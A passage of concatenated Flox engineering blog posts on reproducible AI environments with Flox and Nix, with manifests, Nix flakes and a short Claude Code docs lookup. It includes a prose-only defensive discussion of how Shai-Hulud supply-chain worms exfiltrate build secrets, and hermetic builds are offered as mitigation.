"aarch64-linux"] numpy-cuda.pkg-path = "flox-cuda/python3Packages.numpy" numpy-cuda.systems = ["x86_64-linux", "aarch64-linux"] ## mps-accelerated dependencies mps-torch.pkg-path = "python313Packages.torch" mps-torch.version = "2.10.0” mps-torch.systems = ["aarch64-darwin"] mps-numpy.pkg-path = "python313Packages.numpy" mps-numpy.systems = ["aarch64-darwin"] ``` You’re not building (or re_building_) anything, least of all a multi-gigabyte container image. You’re delegating to a [graph-backed resolver](https://www.tweag.io/blog/2025-09-04-introduction-to-dependency-graph/) the work of pulling in just the right platform- and hardware-optimized dependencies. The resolver uses the stack’s declarative spec to identify compatible versions of runtime dependencies. These get materialized into an immutable, cryptographically hashed store that lives on each machine. In other words: You declare what the stack needs; the tool resolves the dependency graph and figures out how to materialize what you’ve declared locally. Nothing gets installed globally, so your machine won’t break. You can even install conflicting versions of packages side-by-side… on the same system. ## AI Stacks That Run at Any Time This pattern also obviates one of the most frustrating parts of working with AI stacks: you’ve got the right dependencies in the right places, but the stack still won’t run because… because _what now_? Because the runtime environment itself isn’t standardized: the Jupyter notebook starts with the wrong Python; _or_ the dynamic linker finds the wrong versions of native libraries; _or_ the model cache lives in the cloud and needs an Oauth token; _or_ the GPU runtime only works when certain shell variables get exported. An AI stack-as-code runs and behaves the same way everywhere because it doesn’t just declare that stack’s runtime software packages… it declares _the environment in which the stack itself is to run_. ```toml [vars] PYTHONNOUSERSITE = "1" HF_HOME = "$FLOX_ENV_CACHE/huggingface" SENTENCE_TRANSFORMERS_HOME = "$FLOX_ENV_CACHE/sentence-transformers" CHROMA_DATA_DIR = "$FLOX_ENV_PROJECT/.chroma" [hook] on-activate = ''' export JUPYTER_HOST="${JUPYTER_HOST:-0.0.0.0}" export JUPYTER_PORT="${JUPYTER_PORT:-8888}" export JUPYTER_SERVER_TOKEN="${JUPYTER_SERVER_TOKEN:-}" export NOTEBOOK_DIR="${NOTEBOOK_DIR:-$FLOX_ENV_PROJECT}" export INSTALL_REQUIREMENTS="${INSTALL_REQUIREMENTS:-false}" # Generate random token if not provided if [ -z "$JUPYTER_SERVER_TOKEN" ]; then export JUPYTER_SERVER_TOKEN="$(openssl rand -hex 32)" echo "ℹ️ Generated random token: $JUPYTER_SERVER_TOKEN" fi # Setup venv export VENV_DIR="$FLOX_ENV_CACHE/venv" if [ ! -d "$VENV_DIR" ]; then echo "Creating Python virtual environment..." python3.13 -m venv "$VENV_DIR" fi # Activate venv with guard if [ -f "$VENV_DIR/bin/activate" ]; then source "$VENV_DIR/bin/activate" # Install requirements if requested if [ -f "$FLOX_ENV_PROJECT/requirements.txt" ] && [ "$INSTALL_REQUIREMENTS" = "true" ]; then echo "Installing packages from requirements.txt..." pip install -r "$FLOX_ENV_PROJECT/requirements.txt" --quiet fi fi ''' [services] jupyter.command = ''' if [ -f "$VENV_DIR/bin/activate" ]; then source "$VENV_DIR/bin/activate" fi exec jupyter-lab \ --no-browser \ --ip="$JUPYTER_HOST" \ --port="$JUPYTER_PORT" \ --IdentityProvider.token="$JUPYTER_SERVER_TOKEN" \ --notebook-dir="$NOTEBOOK_DIR" ''' ``` The Bash shell logic you see above is all that’s required to exactly reproduce the same environment across macOS, Linux, and Windows with WSL2, on x86 or ARM. If a machine has a CUDA or MPS-/MLX-compatible GPU, the runtime detects and uses it. Under the hood, Flox, which is built on Nix, wires up the environment, setting declared packages on **`PATH`** so they take priority over local versions. This means commands like **`python`**, **`uv`**, and **`jupyter`** always resolve to their declared versions. There’s one more thing. An AI stack-as-code travels across space _and_ time. Five years from now, it will resolve to exactly the same declared dependencies and reproduce exactly the same runtime environment on each supported target platform. (Assuming its platform, hardware, and accelerator APIs remain supported by upstream vendors!) The upshot is that an AI stack-as-code created two or more years ago (and pinned at that time to now-historical dependencies) still runs and behaves exactly the same today. ## The Power of Declarative Environments The way this works is simple. Let’s use Flox as an example: You declaratively define software packages, environment variables, setup logic, services, even _build recipes_ as part of the Flox manifest. This makes recreating an AI stack’s runtime environment as simple as copying the **`.flox`** directory that’s co-located alongside the AI project’s Git repo or (even more convenient) [activating it on-demand](https://flox.dev/docs/concepts/floxhub-environments#activating-a-floxhub-environment) from [FloxHub](https://flox.dev/docs/concepts/floxhub#what-is-floxhub). Each Flox environment generates a lockfile that feezes software in place until you run **`flox upgrade`** to update one or more packages. **Note**: you can _also_ pin packages to specific versions to keep them from being upgraded. A Flox AI stack-as-code standardizes the complex moving parts of an AI stack, declaring Python versions and dependencies, native C/C++ libraries, document parsers, embedding models, vector databases, notebooks, and other software … even runtime services. It runs and behaves reproducibly, pulling in the same versions of the same packages. It lets you replace READMEs or runbooks with one command: ```console flox activate -s ``` Defining AI stacks as code gives teams declarative artifacts they can version, diff, review, and promote (or roll back) atomically. The same Flox AI stack-as-code runs everywhere: on macOS, Linux, and Windows (with WSL2); on x86 and ARM; on Nvidia CUDA or Apple Metal/MLX. It’ll even run (slowly) on bare CPUs, if GPU acceleration isn’t available. An AI stack-as-code can also travel from local dev (for model R&D/training, RAG prototyping, document-ingestion workflows, etc.) to eval, CI, and production. Finally, the declarative stack-as-code simplifies CVE remediation: not only can you catalog exactly which environments run which dependencies, but identifying vulnerabilities is as simple as a database query, while promotion or rollback takes the form of an atomic edit to a text file: ```toml [install] jupyterlab.pkg-path = "python313Packages.jupyterlab" torch-cuda.pkg-path = "flox-cuda/python313Packages.torch" sentence-transformers.pkg-path = "python313Packages.sentence-transformers" openssl.pkg-path = "openssl" -openssl.version = "3.6.1" +openssl.version = "3.6.2" ``` You might be thinking: “I can do basically the same thing with containers.” But, respectfully, you basically cannot. A Dockerfile is neither purely declarative [nor perfectly reproducible](https://flox.dev/blog/standardized-development-environments-explained/). Teams must rebuild OCI images to patch CVEs. And with AI workloads, especially, multi- or double-digit-gigabyte OCI images are costly to build, store, move, and run. Declarative stacks-as-code eliminate image rebuild churn; tools like Flox and Nix can even be used to generate distroless containers from declarative stack-as-code specs. ## Flox AI Stack-as-Code Patterns [Flox’s RAG pattern](https://github.com/flox/ai-stacks-as-code) defines: - A Python 3.13 base; - A document-parsing layer; - An embeddings layer consisting of **`torch`**, **`sentence-transformers`**; [ChromaDB](https://github.com/chroma-core/chroma) vector store); - A notebook layer consisting of JupyterLab, configured to run as a service; and - A working, extractive-RAG pipeline with an evaluation harness. This stack runs locally, without phoning home to external services. You can pull and run it just by doing **`flox activate -s flox-labs/ask-flox-llamacpp`**; alternatively, you need only clone [this GitHub repo](https://github.com/flox/ai-stacks-as-code.git) to get the same stack locally. Helper functions (**`ai-doctor`**, **`ingest`**, **`index`**, **`brief`**, etc.) run the RAG-building workflow. Flox’s [llama.cpp production model server](https://hub.flox.dev/flox-labs/ask-flox-llamacpp) environment can either layer on top of this RAG stack (for building and testing) or run on its own in production. It ships a built-in **`llama.cpp`** model server for Linux and macOS, along with Anthropic’s Claude Code, OpenAI’s Codex, OpenCode, and a slew of other agentic harnesses. The RAG pattern augments users’ prompts with the context required to answer them. It’s a neat demonstration of how you can use Flox to build, package, and publish anything: including (in this case) the index and contents of a ChromaDB vector database! Run it by doing **`flox activate -s -r flox-labs/ask-flox-llamacpp`**. A pre-defined helper function, **`ask-flox `**, runs Claude Code with the optional local model of your choice. If you don’t specify a local model, it runs against the latest version of Claude Opus. However you run it, Claude Code uses the **`search_flox_docs`** MCP tool to query ChromaDB and enrich the prompts it sends to the agent. To learn more about this environment, including how we built, packaged, and published it so it runs on both Linux and macOS, check out [this GitHub repo](https://github.com/flox/llamacpp-launchers). ```console ▐▛███▜▌ Claude Code v2.1.198 ▝▜█████▛▘ unsloth/Qwen3-Coder-30B-A3B-Instruct-GGUF:Q4_K_M with medium effort · API Usage Billing ▘▘ ▝▝ ~/dev/ask-flox-llamacpp ❯ how does flox auto-activation work? I'll explain how Flox auto-activation works. Let me search the Flox documentation for this information. Called ask-flox Based on the Flox documentation, here's how auto-activation works: Overview Auto-activation is an experimental feature that automatically activates Flox environments when you enter their directory and deactivates them when you leave. This eliminates the need to manually run flox activate or flox deactivate commands. How it works: 1. Feature Flag: Auto-activation requires enabling the feature flag with FLOX_FEATURES_AUTO_ACTIVATE=true or by running flox config --set features.auto_activate true. 2. Prompt Hook: The Flox prompt hook is installed in your shell and is responsible for monitoring directory changes. This hook is installed through any in-place activation. 3. Directory Discovery: When you change directories, the hook walks up the filesystem from your current directory to the root, collecting all directories containing a .flox directory. 4. Eligibility Check: Each discovered environment is only auto-activated if you've explicitly allowed it using flox activate allow. 5. Activation Process: Eligible environments are activated outermost-first, setting environment variables and running hooks. Services aren't started unless services.auto-start = true is set in the manifest. 6. Deactivation: When leaving a directory, the environment is automatically deactivated, reverting shell changes. Setup Requirements: - Enable the feature flag (FLOX_FEATURES_AUTO_ACTIVATE=true or via config) - Install the prompt hook (done automatically when using in-place activation) - Allow specific environments to be auto-activated using flox activate allow The feature is experimental and subject to change, but provides a convenient way to automatically manage environment activation based on directory context. ✻ Cooked for 3s ``` ## Explore the Reference Patterns The examples in this article are just a starting point. [FloxHub](https://hub.flox.dev/) hosts other AI-stack-as-code patterns that address different stages of the AI lifecycle, including model serving, generative image serving, inference model training, and other use cases. You can clone these environments into your own projects, compose them with other Flox environments, or activate them directly from FloxHub without copying anything into your repos. Title: Mitigating Shai-Hulud Attacks with Hermetic Builds Source: https://flox.dev/blog/mitigating-shai-hulud-attacks-with-hermetic-builds/ Date: 2026-06-22 Category: engineering # Mitigating Shai-Hulud Attacks with Hermetic Builds Shai-Hulud-style supply chain worms exploit the secrets, permissions, and network access exposed during builds. Reproducible, hermetic build environments can limit the blast radius across local development and CI/CD. Recently, we’ve seen the rise of supply chain worms: malware that spreads throughout the software supply chain by compromising packages, build systems, or developer workflows. During CI/CD, the build environment simultaneously has access to secrets (e.g. API keys) and external services (e.g. GitHub). That combination of secrets access and network access can be exploited to simultaneously exfiltrate secrets and spread the attack by publishing it to other dependencies. Figure: A compromised package running in CI/CD reads secrets, discovers external services, exfiltrates data to GitHub, and propagates by publishing the worm into another package. Shai-Hulud campaigns have demonstrated this in the last few months. The original [September 2025](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) Shai-Hulud campaign compromised 500+ npm packages, and follow-on waves have since pushed the total far higher. The worm harvests secrets at build time and then exfiltrates them by committing to remote Git repositories using a token harvested from the compromised environment. Certain variants targeted the CI/CD pipeline to add an install-time lifecycle script (**`preinstall`** or **`postinstall`**) that runs during installation, then bump the version and republish. Agentic software engineering increases this risk because it increases both the volume and the speed of code delivery. Agents that update manifests, modify package scripts, or operate inside authenticated CI/CD workflows can make malicious dependency changes harder to catch and faster to propagate. As agentic workflows become more common, attackers gain more opportunities not only to compromise company secrets, but also to damage a company’s reputation by poisoning public packages published under its name. Short-lived, least-privilege tokens can reduce the blast radius in the event of compromise. Teams can also limit what CI/CD jobs can access; keep secrets out of build steps that run third-party code; verify that package versions come from trusted source repos/workflows; restrict network egress; and rotate credentials regularly … or immediately after suspected exposure. These are necessary controls, but they still don’t address the crux of the problem: a compromised build can see and use whatever the environment exposes. An often overlooked strategy is our focus at Flox: reproducible and hermetic build environments. Hermetic build environments won’t prevent attacks like Shai-Hulud, but they will tightly limit the damage. Given that these attacks are continuing to proliferate, organizations should consider switching to reproducible, hermetic environments. Today, we’ll spell out how these environments work in context of supply chain attacks. ## Understanding Shai-Hulud Shai-Hulud exposed the inconvenient truth about modern software delivery: once untrusted code runs inside a credentialed build environment, an attacker inherits that environment’s secrets, privileges, and (not least) network access. They can use this access to publish malicious package versions under a trusted name, transforming a single compromised environment into a distribution channel for malicious code. Previously, many developer attacks would target the maintainers. They’d try to hijack a developer’s machine and search for sensitive information. Packages that were compromised in this way include **[eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes/)** and **[ua-parser-js](https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js)**. They focused on two steps only: harvesting secrets and exfiltrating them by hijacking the maintainer’s publishing credentials. Recent Shai-Hulud campaigns instead targeted the build environment. The build environment typically has publish access to packages and publish access to repositories. Worms harvest secrets and exfiltrate them; they also clone the exploit into packages, bump the version, and publish an update. Even with 2FA security, developers often haphazardly accept minor version bumps. Unfortunately, that single digit upgrade might contain a serious attack. Intercom recently fell victim to a variation of this. Version 7.0.4 of **`intercom-client`** contained two malicious files absent from version 7.0.3: **`setup.mjs`** and **`router_runtime.js`**. An attacker published the new version using credentials stolen from a compromised developer account. Then, when any downstream project installed the hijacked version, these files ran during installation and exfiltrated secrets from whatever build environment they were running in to the attacker’s GitHub repositories. Those stolen secrets are what let the worm publish the next poisoned package: exactly the self-replication pattern Shai-Hulud was built around. ### AI Expands the Attack Vector This type of attack might appear like a tangential problem with respect to AI. However, AI exponentiates the risk of these types of attacks. AI agents are actively maintaining codebases. At some companies, agents are even running CI/CD pipelines. Agents are easily manipulated and error-prone: they might easily install an infected package *or* publish one. Given that many developers run agents with options like **`--dangerously-skip-permissions`**, they might miss the signs that they’re installing malware. Unaudited packages land on disk, execute, and exfiltrate secrets. ### Flox and Nix: Hermeticism Limits the Blast Radius Flox won’t solve Shai-Hulud campaigns. But it’ll limit the blast radius. Flox uses Nix, and what makes Nix different from package managers like npm is hermetic environments. These environments are guaranteed, cryptographically, to be identical between machines. There is no unpredictability of how version ranges resolve, no mirror inconsistencies, and no network access (when sandboxing is enabled). Nix derivations are identified by hashes of all their inputs; outputs are cached by input hash; Nix packages must declare their output hash up front, and the build fails if the fetched content doesn't match. This process can be a bit tricky, but Flox wraps around Nix to easily manage reproducible environments on every machine. Flox and Nix do not solve the human error of adding a compromised package to a manifest. That could still happen. Developers could still fall for social engineering attacks and everyone is susceptible to zero-day attacks. Rather, what Flox and Nix do is limit what is and isn’t callable at build. That means no exfiltration to GitHub nor access to ambient credentials that live outside of the environment and aren’t explicitly included in the build inputs. Let’s paint a side-by-side comparison: a typical developer workstation which uses public clouds might have a tool like the AWS CLI logged in and available on its path. If that developer is building an unrelated project with a compromised package, then the compromised package code can search, discover, and use the ambient AWS credentials. Conversely, with a hermetic build, only the required software packages are present during the build, so if any sensitive paths or credentials aren’t declared in the build inputs, then they cannot be accessed during build time. ## Consistency Matters Here It’s important to flag that this approach only works if you use a hermetic builder for everything. If you only use hermetic builders on CI/CD, then a compromised package might still achieve exfiltration from a local developer machine. The purpose of Flox is to create reproducible, predictable builds across your entire developer lifecycle. If you vary your build strategy, then that introduces risks of an attack. ## What about a Sandbox? We’re often asked how Flox and Nix differ from a sandbox. It’s a good question. Nix does use a sandbox during builds. On Linux, it implements that sandbox using the host operating system’s isolation mechanisms: namespaces, cgroups, chroot/bind mounts, seccomp, unprivileged users, and related kernel features. The difference is their purpose. A sandbox is generically an isolated environment for an application to run so that it cannot access the greater file system. It might be used by servers that might be running foreign code that cannot be trusted. It might be used to isolate a CI/CD build in a shared pipeline. Nix was purpose-built for trusted code to execute in isolation so that the same inputs are cryptographically guaranteed to resolve to the same store path, and the rendered output looks the same on all machines. ## Reproducible build environments aren’t a security product We should caveat that Flox was not designed to be a security product. The security benefits are a side effect of its hermeticity. Rather, reproducibility is a precondition to building predictable applications. AI agents create an abundance of randomness. To minimize bugs from stealing developer time, we need environments that’ll behave the same at every stage of the process: *local*, *staging*, and *production*. That way, if there are issues (or security risks) upstream, and a patch works locally, then there is confidence that a redeployment will fix the problem. With more and more Shai-Hulud worms popping up, companies should consider hermetic builds as part of their security paradigm. The easiest way to get started is to use Flox for builds or sandbox builds with Flox. Learn more about Flox in [this quick guide](https://flox.dev/docs/flox-5-minutes). If you're curious about building with Flox (and Nix), check out these articles: [GPU-Optimized PyTorch Builds Made Easy with Flox and Nix](https://flox.dev/blog/gpu-optimized-pytorch-builds-made-easy-with-flox-and-nix/) [Reproducible Builds Made Simple with Nix and Flox](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/) [Introducing Flox Build and Publish](https://flox.dev/blog/introducing-flox-build-and-publish/) Title: Training nanoGPT on Slurm with a Nix-Pinned Environment Source: https://flox.dev/blog/training-nanogpt-on-slurm-with-a-nix-pinned-environment/ Date: 2026-06-15 Category: engineering # Training nanoGPT on Slurm with a Nix-Pinned Environment This article describes a pattern for creating reproducible runtime environments for ML/AI using declared, graph-backed environments based on Nix and Flox. The same Nix and Flox environments run as-is during both model training in local dev to checkpoint validation in eval. A researcher prototypes a model on her MacBook Pro. She uses current-stable PyTorch, a Python interpreter, some standard Python training libraries, a few native libs, and a Conda environment. This _is_ a Python workload, so her single biggest concern isn’t, “Can I validate my assumption with a small local experiment?”; it’s: “Will all these Python dependencies _actually run_ on my MacBook?” She’s using Conda, so everything **should** work. Holding her breath, she types a command and kicks off the run. Huzzah! The model trains … and there’s signal! Elated, she pushes her code and opens a PR. It’s at precisely this point that anything can happen. Because what works locally doesn’t automatically work everywhere else. On the GPU cluster, as soon as the EKS pod comes up, things go sideways. PyTorch wasn’t compiled against the cloud GPU’s CUDA stack. A native extension tries to load **`libstdc++`** using a path that doesn’t exist. The loader expects to read from local disk instead of S3. The job fails. ## Fear, Loathing, and ML/AI Handoff Feel familiar? People who work with ML/AI live this everyday, sometimes several times a day. Maybe a job sails through prototyping on a GPU cluster … only to founder during training on Slurm: ```bash RuntimeError: CUDA error: CUDA-capable device(s) is/are busy or unavailable ``` Or maybe it fails in eval. CI. MLOps. Staging. Maybe it transits all of these before failing in production. The point is the PTSD: The nagging anxiety that _it’s going to fail_, inexplicably, somewhere downstream. This article describes a pattern for creating reproducible runtime environments for ML/AI using [declared, graph-backed environments](https://flox.dev/blog/standardized-development-environments-explained/) based on Nix and Flox. The same Nix and Flox environments work on Linux and macOS, x86 or ARM, NVIDIA CUDA or Apple Metal/MLX. They travel from model training in local dev to checkpoint validation in eval. They run **as-is**, pulling in exactly the same dependencies, in CI, MLOps, and production. The pattern looks like this: - Teams define GPU-accelerated PyTorch, JaX, TensorRT, etc. as Nix or Flox runtime environments; - ML/AI researchers define project-specific Nix or Flox environments on top of the appropriate runtime; - Researchers run Nix or Flox ML/AI stacks on their MacBooks, prototype on NVIDIA DGX nodes, train models on Slurm. Apple Metal/MLX and NVIDIA CUDA get GPU-accelerated libraries; - MLOps teams use Nix or Flox environments when evaluating + packaging checkpoints for production; - Platform teams maintain just one environment for Slurm (training) _and_ Kubernetes (prod). The upshot is that a single GPU-accelerated environment transits the ML/AI software lifecycle without accumulating stage-specific runtime barnacles. Teams can compose modular Nix and Flox environments to create ML/AI stacks bundling CUDA or Metal/MLX for GPU support; PyTorch, JaX, or TensorRT for training or inferencing; project-specific native and Python dependencies; and the code, data pipelines, and tools required to train, package, and ship ML/AImodels. This pattern reduces debugging cycles and gives orgs a safe, atomic way to promote new releases, or to roll back (if necessary) to known-good ones. ## A reusable, cross-platform PyTorch runtime This article uses a PyTorch inferencing stack as its baseline example. But the same pattern works with JaX, TensorRT, and other ML frameworks. It works with model-serving runtimes, distributed training frameworks, batch inference jobs, EDA pipelines, eval harnesses, and RAG/embedding pipelines, too. Creating a cross-platform, GPU-accelerated PyTorch runtime is straightforward with both Nix and Flox. Each is “declarative” in the sense that teams declare the versions of packages they want to be available in an environment; from there, each tool’s resolving machinery figures out how to make these coexist. With Nix and Flox, then, a build recipe or runtime environment encodes named inputs, sources, patches, build instructions, toolchains, target systems, and environment variables as [derivations](https://nix.dev/manual/nix/2.25/language/derivations); realizing these derivations produces store objects under **`/nix/store`**. With Nix and Flox, reproducibility is a function of the declared, resolve dependency graph, lock state, derivation, and closure of the realized store. ### With Nix The Nix equivalent of a cross-platform PyTorch runtime looks like: ```nix ```nix { description = "Cross-platform Python 3.13 + PyTorch runtime shared by dev, training, eval, CI, and container outputs"; inputs = { nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable"; }; outputs = { nixpkgs, ... }: let lib = nixpkgs.lib; systems = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ]; # Enable CUDA only on Linux systems where you have validated the build. # Start with x86_64-linux for common Slurm, DGX, A100, H100, and RTX fleets. cudaSystems = [ "x86_64-linux" # Add after validation on your target fleet: # "aarch64-linux" ]; forAllSystems = f: lib.genAttrs systems f; isCudaSystem = system: builtins.elem system cudaSystems; pkgsFor = system: import nixpkgs { inherit system; config = { # Tutorial setting. Production configs can use # allowUnfreePredicate to admit only the needed CUDA packages. allowUnfree = true; } // lib.optionalAttrs (isCudaSystem system) { # CUDA is selected at package-set import time. # Do not select pythonPackages.torchWithCuda from a non-CUDA # package set. cudaSupport = true; # Optional: tune this list to the GPUs in your Slurm fleet. # # A100: cudaCapabilities = [ "8.0" ]; # RTX 4090 / RTX 6000 Ada: cudaCapabilities = [ "8.9" ]; # H100: cudaCapabilities = [ "9.0" ]; # # Mixed fleet example: # cudaCapabilities = [ "8.0" "8.9" "9.0" ]; }; }; pythonFor = pkgs: pkgs.python313; pythonEnvFor = pkgs: layerFn: (pythonFor pkgs).withPackages layerFn; runtimePkgs = ps: [ # On CUDA-enabled Linux package sets, this resolves to CUDA-enabled # PyTorch because pkgs was imported with config.cudaSupport = true. # # On Darwin and non-CUDA Linux package sets, this resolves to the # default PyTorch build for that platform. ps.torch ]; trainingPkgs = ps: runtimePkgs ps ++ [ ps.tensorboard ps.wandb ]; evalPkgs = ps: runtimePkgs ps ++ [ # Add eval-specific Python packages here. # ps.mlflow ]; devPkgs = ps: runtimePkgs ps ++ [ ps.ipython ps.jupyter ]; runtimeCheckFor = pkgs: pkgs.writeShellApplication { name = "check-pytorch-runtime"; runtimeInputs = [ (pythonEnvFor pkgs runtimePkgs) ]; text = '' python - <<'PY' import torch print("torch:", torch.__version__) print("cuda available:", torch.cuda.is_available()) if torch.cuda.is_available(): print("cuda device:", torch.cuda.get_device_name(0)) if hasattr(torch.backends, "mps"): print("mps available:", torch.backends.mps.is_available()) PY ''; }; in { packages = forAllSystems (system: let pkgs = pkgsFor system; runtime = pythonEnvFor pkgs runtimePkgs; training = pythonEnvFor pkgs trainingPkgs; evalEnv = pythonEnvFor pkgs evalPkgs; runtimeCheck = runtimeCheckFor pkgs; in { inherit runtime training runtimeCheck; eval = evalEnv; default = runtime; } // lib.optionalAttrs (isCudaSystem system) { container = pkgs.dockerTools.buildLayeredImage { name = "pytorch-runtime"; tag = "latest"; contents = [ runtime pkgs.bashInteractive pkgs.cacert pkgs.coreutils pkgs.iana-etc ]; config = { Cmd = [ "${runtime}/bin/python" ]; Env = [ "PATH=${runtime}/bin:${pkgs.coreutils}/bin" "SSL_CERT_FILE=${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt" "NVIDIA_VISIBLE_DEVICES=all" "NVIDIA_DRIVER_CAPABILITIES=compute,utility" ]; }; }; }); devShells = forAllSystems (system: let pkgs = pkgsFor system; runtime = pythonEnvFor pkgs runtimePkgs; devEnv = pythonEnvFor pkgs devPkgs; runtimeCheck = runtimeCheckFor pkgs; # Use CUDA libraries from this same pkgs instance. Do not hard-code # pkgs.cudaPackages_12_x here unless the whole package set has been # configured around that CUDA version. cudaDevPkgs = lib.optionals (isCudaSystem system) [ pkgs.cudaPackages.cuda_nvcc pkgs.cudaPackages.cuda_cudart pkgs.cudaPackages.libcublas pkgs.cudaPackages.cudnn pkgs.cudaPackages.nccl pkgs.cudaPackages.cuda_cupti ]; cudaLibraryPath = lib.optionals (isCudaSystem system) [ pkgs.stdenv.cc.cc.lib pkgs.cudaPackages.cuda_cudart pkgs.cudaPackages.libcublas pkgs.cudaPackages.cudnn pkgs.cudaPackages.nccl pkgs.cudaPackages.cuda_cupti ]; in { default = pkgs.mkShell { packages = [ devEnv runtimeCheck pkgs.uv ] ++ cudaDevPkgs; shellHook = '' export SSL_CERT_FILE=${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt export NIX_SSL_CERT_FILE=${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt '' + lib.optionalString (isCudaSystem system) '' export CUDA_HOME=${pkgs.cudaPackages.cuda_nvcc} export CUDA_PATH=$CUDA_HOME export LD_LIBRARY_PATH=${lib.makeLibraryPath cudaLibraryPath}''${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH} '' + '' check-pytorch-runtime ''; }; ci = pkgs.mkShell { packages = [ runtime runtimeCheck ]; }; }); apps = forAllSystems (system: let pkgs = pkgsFor system; runtimeCheck = runtimeCheckFor pkgs; in { check = { type = "app"; program = "${runtimeCheck}/bin/check-pytorch-runtime"; }; default = { type = "app"; program = "${runtimeCheck}/bin/check-pytorch-runtime"; }; }); }; } ``` This flake defines a cross-platform Python 3.13 + PyTorch base and composes it into context-specific outputs for runtime, training, eval, dev shell, CI shell, and an OCI container image. This gives platform teams a reproducible, cross-platform PyTorch base that works from local development → production. You can validate this flake and check that PyTorch is available like so: ``` nix flake check nix run .#check nix develop --command python - <<'PY' import torch print(torch.__version__) print(torch.cuda.is_available()) if torch.cuda.is_available(): print(torch.cuda.get_device_name(0)) PY ``` Nix has excellent container tooling. The flake above defines an OCI image with **`dockerTools.buildLayeredImage`**. This tells Nix to build the image from the runtime’s closure, then to write the container’s default command and environment variables into the image metadata. For this example, we define the OCI image as part of the project repo’s Nix flake, but release teams can (and do) maintain their own downstream flakes. These consume the project flake’s output and emit an OCI image. This second pattern lets application teams expose a runtime [closure](https://nix.dev/manual/nix/2.25/glossary.html?highlight=closure#gloss-closure) as the complete set of dependencies for their application. CI can test against the same closure, and downstream release flakes can package it into an OCI image, then tag, sign, scan, and publish it. ### With Flox The Flox equivalent of this environment is less verbose: ```toml [install] python.pkg-path = "python3" python.version = "3.13.12" python.pkg-group = "runtime" python.priority = 5 python.outputs = "all" # CUDA-accelerated PyTorch for Linux (x86_64 and aarch64) torch.pkg-path = "flox-cuda/python3Packages.torch" torch.pkg-group = "torch" torch.systems = ["x86_64-linux", "aarch64-linux"] # MPS-accelerated PyTorch for macOS (Apple Silicon and Intel) mps-torch.pkg-path = "python313Packages.torch" mps-torch.systems = ["x86_64-darwin", "aarch64-darwin"] mps-torch.priority = 6 mps-torch.pkg-group = "torch" mps-torch.outputs = "all" ``` That’s it. The Nix flake explicitly defines a series of lifecycle roles (viz., a dev shell, a runtime package, a CI shell, a container image) that the Flox model abstracts. To take one example, the Flox manifest declares packages, versions, supported systems, environment variables, services, and build recipes; it doesn’t, however, declare entrypoints for specific roles. It doesn’t need to. A Flox environment exposes dev tooling and libraries for local dev by default; activating it with the **`--mode run`** flag, or declaring this in the Flox manifest, restricts access to dev tooling and libraries. (**run** mode is the default on Kubernetes.) Flox environments don’t need to declare the lifecycle options (e.g., default command, environment variables, etc.) for OCI images, either: the **`flox containerize`** command does this automatically. Flox primitives like [package groups](https://flox.dev/docs/concepts/package-groups#package-groups), [priorities](https://flox.dev/docs/concepts/package-groups#3-resolving-file-conflicts-with-priority-and-groups), [systems filters](https://flox.dev/docs/concepts/package-groups#cross-platform-split), and [outputs](https://flox.dev/docs/tutorials/package-outputs#selecting-package-outputs) abstract common Nix patterns; they don’t map one-for-one to a single Nix primitive. For example, package groups abstract the work of getting packages that resolve against different historical [nixpkgs](https://github.com/NixOS/nixpkgs) commits to coexist in the same environment. The packages defined in the manifest above get isolated into Flox package groups so that it’s easy to version and manage them: You can define specific versions without worrying about conflicts with other packages. ## Compose a Training Stack The PyTorch runtime is the foundation. One or more downstream environments can easily consume it. Teams might compose this environment with other environments designed for: - **CUDA development**. Nix or Flox environments that define **`nvcc`**, **`cudart`**, **`cublas`**, **`cudnn`**, **`nccl`**, and other CUDA-specific dependencies. Essential on CUDA, skipped on macOS. - **Model training**. An environment declaring Python packages / native libraries used to train models. - **Building + packaging**. Linux gets **`gcc`**, macOS gets **`clang`**; all get **`cmake`** + other tools. - **CUDA Profiling / performance**. NVIDIA’s Nsight Systems and Nsight Compute; PyTorch profiler workflows; CPU and memory profilers; kernel-level performance analysis. - **Offline eval**. Eval harnesses, metrics libraries, dataset clients, tokenizers, etc. - **Model packaging**. Model export, conversion, quantization, artifact packaging, and metadata tools. - **Model serving**. Platforms like llamacpp, VLLM, Nvidia Triton, SGLang, Ollama. Each is a Nix or Flox environment that can use the base PyTorch runtime (along with others) as an input. ### With Nix The model-training flake consumes the foundational PyTorch runtime flake in **`inputs`**. It specifies **`cuda-dev`** and **`build`** flakes as extra inputs. Linux/NVIDIA CUDA pulls in CUDA dev packages and the GCC stack; users on macOS/Metal (or MLX) skip CUDA and pull in **`clang`**, along with other essential deps. The flake below declares a model training Nix dev shell. It declares **`uv`** and activates a project-local Python virtual environment, pulling in dependencies that run against the PyTorch runtime. ```nix ```nix { description = "ML training environment"; inputs = { nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable"; build-env = { url = "github:flox/ml-ai-lifecycle?dir=build-env"; inputs.nixpkgs.follows = "nixpkgs"; }; cuda-dev-essentials = { url = "github:flox/ml-ai-lifecycle?dir=cuda-dev-essentials"; inputs.nixpkgs.follows = "nixpkgs"; }; pytorch-runtime = { url = "github:flox/ml-ai-lifecycle?dir=pytorch-runtime"; inputs.nixpkgs.follows = "nixpkgs"; }; }; outputs = { nixpkgs , build-env , cuda-dev-essentials , pytorch-runtime , ... }: let lib = nixpkgs.lib; systems = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ]; cudaSystems = [ "x86_64-linux" # Add after testing on your target fleet: # "aarch64-linux" ]; forAllSystems = f: lib.genAttrs systems f; isCudaSystem = system: builtins.elem system cudaSystems; pkgsFor = system: import nixpkgs { inherit system; config = { # Tutorial setting. Production configs can use # allowUnfreePredicate for a narrower unfree-package policy. allowUnfree = true; } // lib.optionalAttrs (isCudaSystem system) { # CUDA is selected at package-set import time. cudaSupport = true; # Optional: tune this list to the GPUs in your Slurm fleet. # # A100: cudaCapabilities = [ "8.0" ]; 